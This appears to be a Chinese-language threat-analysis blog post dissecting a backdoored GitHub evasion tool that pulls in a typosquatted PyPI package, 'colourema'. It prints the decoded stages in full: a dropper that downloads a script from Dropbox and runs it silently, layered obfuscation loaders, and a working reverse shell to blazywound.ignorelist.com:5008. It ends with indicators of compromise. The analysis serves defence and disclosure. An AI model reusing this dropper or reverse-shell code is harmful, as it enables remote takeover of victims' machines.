0x01 发现背景
"阳康"后在github闲逛时发现同事star了一个后处理免杀项目,看描述说可以绕过任何类型的防病毒产品,自然我也对项目产生了一些兴趣,遂开始查看项目代码并由此开启了本次的投毒项目分析。
PS:此前并未在其他渠道发现本次分析项目的预警
0x02 分析过程
2.1 项目地址
文章编写时项目还在正常运行,我将其保存在了快照网站,若后面项目删除方便继续查看
https://github.com/machine1337/pycrypt
https://web.archive.org/web/20230103031922/https://github.com/machine1337/pycrypt
2.2 发现异常
项目的介绍较长且附带视频,整体并无异常,在查看代码准备了解实现原理时发现异常,其导入了一个异常的依赖库colourema,有一些PY代码编写基础的朋友应该知道修改终端颜色的依赖库叫做colorama,那么很明显这里可能存在一些问题
2.3 定位后门
在pypi的依赖库介绍中,colourema的介绍有3000+star,实际链接却为colorama,到此确定此依赖库存在后门。
通过对依赖库代码进行查看,因担心使用vscode存在一些风险,使用sublime打开,最后于initialise.py文件中发现后门代码
2.4 后门代码
2.4.1 一层加密
加密代码
解密后代码
import os,platform,subprocess
if platform.system().startswith("Linux"):
try:
with open('/tmp/file.py', 'w') as f:
f.write("import os \nimport subprocess \nfrom pathlib import Path \nfrom urllib import request \nhello = os.getlogin() \nPATH = '/home/' + hello + '/.msfdb/update'\nPAT = '/tmp/file.py'\nisExist = os.path.exists(PATH) \nif not isExist:\n os.makedirs(PATH) \nif Path(PATH).is_file(): \n print("") \nelse: \n")
f.write(" remote_url ='https://dl.dropboxusercontent.com/s/bpf0cfzf2h576o3/mozila.sh'\n local_file = PATH+'/.path.sh' \n request.urlretrieve(remote_url, local_file) \n subprocess.call(\"bash /home/$USER/.msfdb/update/.path.sh >/dev/null 2>&1\", shell=True) \n")
f.write(" if Path(PAT).is_file(): \n try:\n os.remove(PAT)\n except:\n print()")
except FileNotFoundError:
print("")
subprocess.call("python3 /tmp/file.py &", shell=True)
2.4.2 二层加密
上面代码下载并运行了此链接的sh文件,同样保存在了web.archive.org中,后续的相关文件也是如此,方便后续其他感兴趣的师傅复查
#sh文件中继续中转发现一层加密
https://dl.dropboxusercontent.com/s/bpf0cfzf2h576o3/mozila.sh
#加密代码链接
https://dl.dropboxusercontent.com/s/n7xl8ki0k9xqt7x/update.py
加密代码
解密后代码
fpyepsdb = chr(105)
zbieto = chr(109) + chr(112) + chr(111) + chr(114) + chr(116) + chr(32) + chr(98) + chr(97)
ontxmpdwi = chr(115) + chr(101) + chr(54) + chr(52) + chr(59) + chr(101) + chr(120) + chr(101)
rdnpqwkiz = chr(99) + chr(40) + chr(39) + chr(39) + chr(46) + chr(106) + chr(111) + chr(105)
qvjlktvg = chr(110) + chr(40) + chr(91) + chr(121) + chr(91) + chr(48) + chr(93) + chr(32)
nqsokf = chr(102) + chr(111) + chr(114) + chr(32) + chr(120) + chr(32) + chr(105) + chr(110)
...
同样是很长的一段加密字符串
...
qytpmsygab = ""
qytpmsygab += fpyepsdb
qytpmsygab+= zbieto + ontxmpdwi
...
同样是很长的一段加密字符串
...
qytpmsygab+= xpcexvz + yslqs
exec(qytpmsygab)
2.4.3 三层加密
加密代码
上一步解密后代码中的那段很长的加密字符串
解密后代码
import base64;
exec(''.join([y[0] for x in [x for x in base64.b64decode( ('同样是很长的一段加密字符串').encode('ascii') ).decode('ascii')] for y in [[x[0], x[1]] for x in {'\t': '6', '\n': 'R', ' ': 'U', '!': 'Y', '@': 'i', '~': 'n', '`': 'Q', '#': '7', '$': 'A', '%': 'E', '^': '$', '&': 'o', '*': 'm', '(': '!', ')': '/', '_': '~', '=': 'L', '-': 'h', '+': ')', '{': 'N', '}': 'O', '|': '\\', '\\': 'g', '[': 'S', ']': '+', ':': 'z', ';': '|', '"': 's', "'": '`', ',': '{', '.': 'F', '/': ']', '?': '2', '>': 'y', '<': 'l', '0': '%', '1': 'W', '2': 'H', '3': 'c', '4': '\n', '5': 'x', '6': 'Z', '7': '.', '8': '>', '9': 'K', 'a': '<', 'b': 'V', 'c': '(', 'd': 'B', 'e': ';', 'f': 'u', 'g': "'", 'h': 'p', 'i': 'w', 'j': '3', 'k': '}', 'l': '1', 'm': 't', 'n': 'k', 'o': '9', 'p': '?', 'q': 'M', 'u': 'q', 'r': 'a', 's': '0', 't': '\t', 'v': 'J', 'w': '=', 'x': 'T', 'y': '_', 'z': 'G', 'A': '[', 'B': '&', 'C': '4', 'D': '-', 'E': '@', 'F': 'e', 'G': '^', 'H': 'f', 'I': '8', 'J': '*', 'K': 'D', 'L': '#', 'M': 'C', 'N': ' ', 'O': 'b', 'P': 'P', 'Q': 'X', 'U': ',', 'R': '"', 'S': 'd', 'T': 'j', 'V': 'I', 'W': 'v', 'X': '5', 'Y': ':', 'Z': 'r'}.items()] if x == y[1]]))
2.4.4 四层加密
加密代码
上一步解密后代码中的那段很长的加密字符串
解密后代码
from cryptography.fernet import Fernet
encrypted_message = '同样是很长的一段加密字符串'
key = b'fFdnVFFLuGqYOndl9Xvp9pRnOenZ__grZS5sFssfiX4='
f = Fernet(key)
decrypted_message = f.decrypt(encrypted_message.encode())
exec(decrypted_message.decode())
2.4.5 五层加密
加密代码
上一步解密后代码中的那段很长的加密字符串
解密后代码
import codecs
exec(codecs.decode(b'同样是很长的一段加密字符串', "hex").decode())
2.4.6 六层加密
加密代码
上一步解密后代码中的那段很长的加密字符串
解密后代码
import gzip
code = b"同样是很长的一段加密字符串".decode()
exec(gzip.decompress(code.encode('cp437')).decode())
2.4.7 七层加密
加密代码
解密后代码
import socket
import json
import subprocess
import time
import os
import sys
def reliable_send(data):
jsondata = json.dumps(data)
s.send(jsondata.encode())
def reliable_recv():
data = ''
while True:
try:
data = data + s.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def download_file(file_name):
f = open(file_name, 'wb')
s.settimeout(2)
chunk = s.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = s.recv(1024)
except socket.timeout as e:
break
s.settimeout(None)
f.close()
def upload_file(file_name):
f = open(file_name, 'rb')
s.send(f.read())
def shell():
while True:
command = reliable_recv()
if command == 'quit':
break
elif command == 'background': # BEGIN
pass
elif command == 'help': # ideally to be removed
pass
elif command == 'clear':
pass # END
elif command[:3] == 'cd ':
os.chdir(command[3:])
elif command[:6] == 'upload':
download_file(command[7:])
elif command[:8] == 'download':
upload_file(command[9:])
elif command[:7] == 'sendall':
subprocess.Popen(command[8:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
else:
execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
result = execute.stdout.read() + execute.stderr.read()
result = result.decode()
reliable_send(result)
def connection():
while True:
time.sleep(5)
try:
s.connect(('blazywound.ignorelist.com', 5008))
shell()
s.close()
break
except:
connection()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection()
2.5 项目作者
通过对投毒项目的宿主进行查看,发现此用户自称为漏洞赏金猎人和渗透测试人员的一名大学生,自我介绍包装的几乎完美,且拥有近300名的关注者,共发布35个原创红队相关项目。
https://github.com/machine1337?tab=repositories&q=&type=source&language=&sort=
经过调查,所有Python项目都是相同手法,通过PYPI依赖库进行部署后门,早期项目还有使用sh文件的手法,最早的后门项目存在于2021.9.24,并于2022.11月到12月账号恢复活跃。
0x03 分析结果
一名2022.11月到12月恢复活跃的专门针对红队的钓鱼人员或者某个组织,通过投毒PYPI依赖库,再发布后处理免杀项目及其他红队项目进行导入依赖,经过七层中转的加密代码,最终与blazywound.ignorelist.co:5008进行socket通信进行上线机器,后门实际拥有的功能为: 切换工作目录、上传文件、下载文件、任意命令执行。
0x04 IOC
Host
blazywound.ignorelist.co:5008
Hash
Linux | md5 Hash |
---|---|
/tmp/file.py | ee69b2d189165555d4ec32f944cb262c |
/home/$USER/.msfdb/update/.path.sh | 5412834b8be0ee5cdeeede11430ca17c |
/home/$USER/.msfdb/update/update.py | c855106e06b259d2b30bd754561ea9a |